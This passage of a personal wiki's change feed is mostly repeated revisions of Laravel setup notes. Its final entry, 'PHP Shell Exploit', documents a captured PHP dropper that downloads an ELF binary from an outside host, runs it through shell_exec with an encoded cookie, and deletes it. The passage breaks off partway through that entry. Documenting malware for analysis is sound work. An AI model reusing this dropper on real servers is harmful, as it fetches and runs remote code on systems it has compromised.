Configurations are defined inside the `.env` file located in the root directory of your laravel project. Variables defined in this file override any that are defined in the application configuration files and is the recommended way of setting values.&lt;br /&gt;
&lt;br /&gt;
=== Routing ===&lt;br /&gt;
All HTTP requests will go through to your `app/Http/` portion of your laravel project.&lt;br /&gt;
&lt;br /&gt;
=== Models ===&lt;br /&gt;
Models are placed directly in the `app` directory and under the `App` namespace. When working with Models, reference them directly by their namespace or pull in the namespace.&lt;br /&gt;
&lt;br /&gt;
=== Views ===&lt;br /&gt;
&lt;br /&gt;
==== Forms ====&lt;br /&gt;
To use the Illuminate HTML package, pull in the `illuminate/html` dependency using Composer.&lt;br /&gt;
 composer require illuminate/html&lt;br /&gt;
&lt;br /&gt;
Add the service provider to your config/app.php provider list and create a new facade.&lt;br /&gt;
 &#039;Form&#039; =&amp;gt; &#039;Illuminate\Html\FormFacade&#039;,&lt;br /&gt;
 &#039;Html&#039; =&amp;gt; &#039;Illuminate\Html\HtmlFacade&#039;,&lt;br /&gt;
&lt;br /&gt;
In the blade templates, you can now use:&lt;br /&gt;
 {!! Form::open() !!}}&lt;br /&gt;
   {!! Form::label(&#039;name&#039;, &#039;Name:&#039;) !!}}&lt;br /&gt;
   {!! Form::text(&#039;name&#039;, &#039;default&#039;, [&#039;class&#039; =&amp;gt; &#039;blah&#039;] ) !!}}&lt;br /&gt;
 {!! Form::close() !!}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Coding]]&lt;br /&gt;
[[Category:PHP]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1174</id>
		<title>Laravel</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1174"/>
		<updated>2015-06-01T03:48:53Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Installation ==&lt;br /&gt;
Download composer and create an alias so that `composer` launches composer:&lt;br /&gt;
 wget -O - https://getcomposer.org/installer | php -- --install-dir=$HOME/tmp/&lt;br /&gt;
 alias composer=&#039;php $HOME/tmp/composer.phar&#039;&lt;br /&gt;
&lt;br /&gt;
Set up the laravel project using composer:&lt;br /&gt;
 composer create-project laravel/laravel projectname --prefer-dist&lt;br /&gt;
&lt;br /&gt;
There are many useful commands that comes with laravel&#039;s artisan command line PHP script located in the root of the project directory. You may want to create an alias for artisan:&lt;br /&gt;
 alias artisan=&#039;php artisan&#039;&lt;br /&gt;
&lt;br /&gt;
The initial laravel project will come with scaffolding project files which you may want to remove by running: &lt;br /&gt;
 artisan fresh&lt;br /&gt;
&lt;br /&gt;
Ensure that the webserver serving the laravel application has permission to write to the directories inside the `storagae` directory. If these directories are not writable by the webserver, no error messages will be displayed or logged.&lt;br /&gt;
&lt;br /&gt;
=== Miscellaneous Tools ===&lt;br /&gt;
When working with Less or Sass, you may wish to use Laravel Elixir which utilizes gulp. Install gulp by running as root:&lt;br /&gt;
 npm install --global gulp&lt;br /&gt;
&lt;br /&gt;
Then run on the root project directory:&lt;br /&gt;
 npm install&lt;br /&gt;
&lt;br /&gt;
When working with bootstrap, place the Less files into `resources/assets/less` and edit the `gulpfile.js` file in the root project directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Troubleshooting ===&lt;br /&gt;
You can see what packages and dependencies were installed by running:&lt;br /&gt;
 composer show -i&lt;br /&gt;
&lt;br /&gt;
All HTTP routes can be listed using `artisan`:&lt;br /&gt;
 artisan route:list&lt;br /&gt;
&lt;br /&gt;
== Database ==&lt;br /&gt;
=== Migration ===&lt;br /&gt;
Migration is a way to define database schemas and schema changes using PHP. When used with a version control system, it is trivial to replicate, update, or revert database schemas on your local system.&lt;br /&gt;
&lt;br /&gt;
When creating models using `artisan`, `artisan` will automatically create a migration for the table referenced by the new model. After defining the schema in the migration file, you can apply the schema by executing:&lt;br /&gt;
 artisan migrate&lt;br /&gt;
&lt;br /&gt;
You can reset (drop + re-migrate) using:&lt;br /&gt;
 artisan migrate:reset&lt;br /&gt;
&lt;br /&gt;
=== Database Seeding ===&lt;br /&gt;
The `DatabaseSeeder.php` file defines how the database is to be seeded, say after an initial migration. It is possible to import data from an existing database to your development database by executing raw SQL queries like so:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
class DatabaseSeeder extends Seeder {&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * Run the database seeds.&lt;br /&gt;
	 *&lt;br /&gt;
	 * @return void&lt;br /&gt;
	 */&lt;br /&gt;
	public function run()&lt;br /&gt;
	{&lt;br /&gt;
		Model::unguard();&lt;br /&gt;
&lt;br /&gt;
		$this-&amp;gt;call(&#039;WordsTableSeeder&#039;);&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
class WordsTableSeeder extends Seeder {&lt;br /&gt;
    public function run() {&lt;br /&gt;
        DB::table(&#039;words&#039;)-&amp;gt;delete();&lt;br /&gt;
		&lt;br /&gt;
		DB::select(DB::raw(&amp;quot;INSERT INTO chinese_laravel.words &lt;br /&gt;
			(word, pronunciation, frequency)&lt;br /&gt;
			SELECT word, pronunciation, frequency FROM chinese.word&amp;quot;));&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
Most of your project files will end up inside the `app` and `resources` directory. &lt;br /&gt;
&lt;br /&gt;
=== Configuration ===&lt;br /&gt;
Configurations are defined inside the `.env` file located in the root directory of your laravel project. Variables defined in this file override any that are defined in the application configuration files and is the recommended way of setting values.&lt;br /&gt;
&lt;br /&gt;
=== Routing ===&lt;br /&gt;
All HTTP requests will go through to your `app/Http/` portion of your laravel project.&lt;br /&gt;
&lt;br /&gt;
=== Models ===&lt;br /&gt;
Models are placed directly in the `app` directory and under the `App` namespace. When working with Models, reference them directly by their namespace or pull in the namespace.&lt;br /&gt;
&lt;br /&gt;
=== Views ===&lt;br /&gt;
&lt;br /&gt;
==== Forms ====&lt;br /&gt;
To use the Illuminate HTML package, pull in the `illuminate/html` dependency using Composer.&lt;br /&gt;
 composer require illuminate/html&lt;br /&gt;
&lt;br /&gt;
Add the service provider to your config/app.php provider list and create a new facade.&lt;br /&gt;
 &#039;Form&#039; =&amp;gt; &#039;Illuminate\Html\FormFacade&#039;,&lt;br /&gt;
 &#039;Html&#039; =&amp;gt; &#039;Illuminate\Html\HtmlFacade&#039;,&lt;br /&gt;
&lt;br /&gt;
In the blade templates, you can now use:&lt;br /&gt;
 {!! Form::open() !!}}&lt;br /&gt;
   {!! Form::label(&#039;name&#039;, &#039;Name:&#039;) !!}}&lt;br /&gt;
   {!! Form::text(&#039;name&#039;, &#039;default&#039;, [&#039;class&#039; =&amp;gt; &#039;blah&#039;] ) !!}}&lt;br /&gt;
 {!! Form::close() !!}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Coding]]&lt;br /&gt;
[[Category:PHP]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1173</id>
		<title>Laravel</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1173"/>
		<updated>2015-06-01T03:42:04Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Installation ==&lt;br /&gt;
Download composer and create an alias so that `composer` launches composer:&lt;br /&gt;
 wget -O - https://getcomposer.org/installer | php -- --install-dir=$HOME/tmp/&lt;br /&gt;
 alias composer=&#039;php $HOME/tmp/composer.phar&#039;&lt;br /&gt;
&lt;br /&gt;
Set up the laravel project using composer:&lt;br /&gt;
 composer create-project laravel/laravel projectname --prefer-dist&lt;br /&gt;
&lt;br /&gt;
There are many useful commands that comes with laravel&#039;s artisan command line PHP script located in the root of the project directory. You may want to create an alias for artisan:&lt;br /&gt;
 alias artisan=&#039;php artisan&#039;&lt;br /&gt;
&lt;br /&gt;
The initial laravel project will come with scaffolding project files which you may want to remove by running: &lt;br /&gt;
 artisan fresh&lt;br /&gt;
&lt;br /&gt;
Ensure that the webserver serving the laravel application has permission to write to the directories inside the `storagae` directory. If these directories are not writable by the webserver, no error messages will be displayed or logged.&lt;br /&gt;
&lt;br /&gt;
=== Troubleshooting ===&lt;br /&gt;
You can see what packages and dependencies were installed by running:&lt;br /&gt;
 composer show -i&lt;br /&gt;
&lt;br /&gt;
All HTTP routes can be listed using `artisan`:&lt;br /&gt;
 artisan route:list&lt;br /&gt;
&lt;br /&gt;
== Database ==&lt;br /&gt;
=== Migration ===&lt;br /&gt;
Migration is a way to define database schemas and schema changes using PHP. When used with a version control system, it is trivial to replicate, update, or revert database schemas on your local system.&lt;br /&gt;
&lt;br /&gt;
When creating models using `artisan`, `artisan` will automatically create a migration for the table referenced by the new model. After defining the schema in the migration file, you can apply the schema by executing:&lt;br /&gt;
 artisan migrate&lt;br /&gt;
&lt;br /&gt;
You can reset (drop + re-migrate) using:&lt;br /&gt;
 artisan migrate:reset&lt;br /&gt;
&lt;br /&gt;
=== Database Seeding ===&lt;br /&gt;
The `DatabaseSeeder.php` file defines how the database is to be seeded, say after an initial migration. It is possible to import data from an existing database to your development database by executing raw SQL queries like so:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
class DatabaseSeeder extends Seeder {&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * Run the database seeds.&lt;br /&gt;
	 *&lt;br /&gt;
	 * @return void&lt;br /&gt;
	 */&lt;br /&gt;
	public function run()&lt;br /&gt;
	{&lt;br /&gt;
		Model::unguard();&lt;br /&gt;
&lt;br /&gt;
		$this-&amp;gt;call(&#039;WordsTableSeeder&#039;);&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
class WordsTableSeeder extends Seeder {&lt;br /&gt;
    public function run() {&lt;br /&gt;
        DB::table(&#039;words&#039;)-&amp;gt;delete();&lt;br /&gt;
		&lt;br /&gt;
		DB::select(DB::raw(&amp;quot;INSERT INTO chinese_laravel.words &lt;br /&gt;
			(word, pronunciation, frequency)&lt;br /&gt;
			SELECT word, pronunciation, frequency FROM chinese.word&amp;quot;));&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
Most of your project files will end up inside the `app` and `resources` directory. &lt;br /&gt;
&lt;br /&gt;
=== Configuration ===&lt;br /&gt;
Configurations are defined inside the `.env` file located in the root directory of your laravel project. Variables defined in this file override any that are defined in the application configuration files and is the recommended way of setting values.&lt;br /&gt;
&lt;br /&gt;
=== Routing ===&lt;br /&gt;
All HTTP requests will go through to your `app/Http/` portion of your laravel project.&lt;br /&gt;
&lt;br /&gt;
=== Models ===&lt;br /&gt;
Models are placed directly in the `app` directory and under the `App` namespace. When working with Models, reference them directly by their namespace or pull in the namespace.&lt;br /&gt;
&lt;br /&gt;
=== Views ===&lt;br /&gt;
&lt;br /&gt;
==== Forms ====&lt;br /&gt;
To use the Illuminate HTML package, pull in the `illuminate/html` dependency using Composer.&lt;br /&gt;
 composer require illuminate/html&lt;br /&gt;
&lt;br /&gt;
Add the service provider to your config/app.php provider list and create a new facade.&lt;br /&gt;
 &#039;Form&#039; =&amp;gt; &#039;Illuminate\Html\FormFacade&#039;,&lt;br /&gt;
 &#039;Html&#039; =&amp;gt; &#039;Illuminate\Html\HtmlFacade&#039;,&lt;br /&gt;
&lt;br /&gt;
In the blade templates, you can now use:&lt;br /&gt;
 {!! Form::open() !!}}&lt;br /&gt;
   {!! Form::label(&#039;name&#039;, &#039;Name:&#039;) !!}}&lt;br /&gt;
   {!! Form::text(&#039;name&#039;, &#039;default&#039;, [&#039;class&#039; =&amp;gt; &#039;blah&#039;] ) !!}}&lt;br /&gt;
 {!! Form::close() !!}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Coding]]&lt;br /&gt;
[[Category:PHP]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1172</id>
		<title>Laravel</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1172"/>
		<updated>2015-06-01T03:34:15Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Installation ==&lt;br /&gt;
Download composer and create an alias so that `composer` launches composer:&lt;br /&gt;
 wget -O - https://getcomposer.org/installer | php -- --install-dir=$HOME/tmp/&lt;br /&gt;
 alias composer=&#039;php $HOME/tmp/composer.phar&#039;&lt;br /&gt;
&lt;br /&gt;
Set up the laravel project using composer:&lt;br /&gt;
 composer create-project laravel/laravel projectname --prefer-dist&lt;br /&gt;
&lt;br /&gt;
There are many useful commands that comes with laravel&#039;s artisan command line PHP script located in the root of the project directory. You may want to create an alias for artisan:&lt;br /&gt;
 alias artisan=&#039;php artisan&#039;&lt;br /&gt;
&lt;br /&gt;
The initial laravel project will come with scaffolding project files which you may want to remove by running: &lt;br /&gt;
 artisan fresh&lt;br /&gt;
&lt;br /&gt;
Ensure that the webserver serving the laravel application has permission to write to the directories inside the `storagae` directory. If these directories are not writable by the webserver, no error messages will be displayed or logged.&lt;br /&gt;
&lt;br /&gt;
=== Troubleshooting ===&lt;br /&gt;
You can see what packages and dependencies were installed by running:&lt;br /&gt;
 composer show -i&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
Most of your project files will end up inside the `app` and `resources` directory. &lt;br /&gt;
&lt;br /&gt;
=== Configuration ===&lt;br /&gt;
Configurations are defined inside the `.env` file located in the root directory of your laravel project. Variables defined in this file override any that are defined in the application configuration files and is the recommended way of setting values.&lt;br /&gt;
&lt;br /&gt;
=== Routing ===&lt;br /&gt;
All HTTP requests will go through to your `app/Http/` portion of your laravel project.&lt;br /&gt;
&lt;br /&gt;
=== Models ===&lt;br /&gt;
Models are placed directly in the `app` directory and under the `App` namespace. When working with Models, reference them directly by their namespace or pull in the namespace.&lt;br /&gt;
&lt;br /&gt;
=== Views ===&lt;br /&gt;
&lt;br /&gt;
==== Forms ====&lt;br /&gt;
To use the Illuminate HTML package, pull in the `illuminate/html` dependency using Composer.&lt;br /&gt;
 composer require illuminate/html&lt;br /&gt;
&lt;br /&gt;
Add the service provider to your config/app.php provider list and create a new facade.&lt;br /&gt;
 &#039;Form&#039; =&amp;gt; &#039;Illuminate\Html\FormFacade&#039;,&lt;br /&gt;
 &#039;Html&#039; =&amp;gt; &#039;Illuminate\Html\HtmlFacade&#039;,&lt;br /&gt;
&lt;br /&gt;
In the blade templates, you can now use:&lt;br /&gt;
 {!! Form::open() !!}}&lt;br /&gt;
   {!! Form::label(&#039;name&#039;, &#039;Name:&#039;) !!}}&lt;br /&gt;
   {!! Form::text(&#039;name&#039;, &#039;default&#039;, [&#039;class&#039; =&amp;gt; &#039;blah&#039;] ) !!}}&lt;br /&gt;
 {!! Form::close() !!}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Coding]]&lt;br /&gt;
[[Category:PHP]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1171</id>
		<title>Laravel</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1171"/>
		<updated>2015-05-31T23:18:09Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Installation ==&lt;br /&gt;
The composer command is an alias in the shell that executes `php composer.phar`. Similarly, artisan executes `php artisan`.&lt;br /&gt;
&lt;br /&gt;
=== New Project ===&lt;br /&gt;
 composer create-project laravel/laravel projectname --prefer-dist&lt;br /&gt;
&lt;br /&gt;
To clear the scaffolding that comes with the clean install:&lt;br /&gt;
 artisan fresh&lt;br /&gt;
&lt;br /&gt;
You can see what packages and dependencies were installed by running:&lt;br /&gt;
 composer show -i&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Usage ==&lt;br /&gt;
&lt;br /&gt;
=== Views ===&lt;br /&gt;
==== Forms ====&lt;br /&gt;
Pull in the illuminate/html package.&lt;br /&gt;
 composer require illuminate/html&lt;br /&gt;
Add the service provider to your config/app.php provider list and create a new facade.&lt;br /&gt;
 &#039;Form&#039; =&amp;gt; &#039;Illuminate\Html\FormFacade&#039;,&lt;br /&gt;
 &#039;Html&#039; =&amp;gt; &#039;Illuminate\Html\HtmlFacade&#039;,&lt;br /&gt;
&lt;br /&gt;
In the blade templates, you can now use:&lt;br /&gt;
 {!! Form::open() !!}}&lt;br /&gt;
   {!! Form::label(&#039;name&#039;, &#039;Name:&#039;) !!}}&lt;br /&gt;
   {!! Form::text(&#039;name&#039;, &#039;default&#039;, [&#039;class&#039; =&amp;gt; &#039;blah&#039;] ) !!}}&lt;br /&gt;
 {!! Form::close() !!}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Coding]]&lt;br /&gt;
[[Category:PHP]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1168</id>
		<title>PHP Shell Exploit</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1168"/>
		<updated>2015-05-08T04:46:14Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: /* Email Links */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker will see the following outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;inf step=3 data=x64&amp;gt;&lt;br /&gt;
&amp;lt;inf step=4 data=downok&amp;gt;&lt;br /&gt;
&amp;lt;inf step=5 data=done data2=XXX&amp;gt;&lt;br /&gt;
&amp;lt;/shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where XXX is the return code of the shell exec which attempts to run:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
